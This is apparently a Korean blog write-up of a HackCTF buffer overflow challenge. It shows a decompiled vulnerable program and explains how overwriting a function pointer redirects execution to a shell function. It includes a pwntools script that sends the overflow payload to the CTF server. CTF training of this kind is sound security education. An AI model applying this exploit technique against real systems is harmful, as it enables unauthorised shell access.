728x90
https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
CODE
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
int (*v5)(); // [esp+8Ch] [ebp-Ch]
v5 = sup;
fgets(s, 133, stdin);
v5();
return 0;
}
int shell()
{
return system("/bin/dash");
}
shell함수를 실행시키면 되는 문제 같습니다. fgets에서 BOF가 터집니다. 코드는 dummy[128] + shell 이면 해결될 것 같습니다. 왜 리턴까지 안덮냐고 궁금하실 수 있는데 코드를 다시한번 봐주세요. v5라는 함수를 실행시키는 부분이 있습니다. 그리고 우리는 s에서 부터 v5전까지 더미로 덮고 v5의 주소를 shell주소로 바꾸면 v5(); 이부분이 실행되면 shell함수가 실행되는 거와 똑같게 됩니다.
너무 내가 알고있는 기법에만 연연하지 말고 코드를 봐가며 문제를 풀면 더욱 쉽게 해결되실겁니다.
소스코드
더보기
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")
shell = e.symbols['shell']
offset = 128
payload = b'A'*128 + p32(shell)
p.send(payload)
p.interactive()
[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)
[해킹/시스템해킹] - [시스템해킹] HackCTF < Basic_BOF #1 >
728x90
'해킹 > 시스템해킹' 카테고리의 다른 글
[시스템해킹] HackCTF < Basic_FSB > (0) | 2021.09.09 |
---|---|
[시스템해킹] FSB(Format String Bug) 이란? (0) | 2021.09.09 |
[시스템해킹] GrabCON Pwn CTF? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON can you? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON easy_bin write up (0) | 2021.09.09 |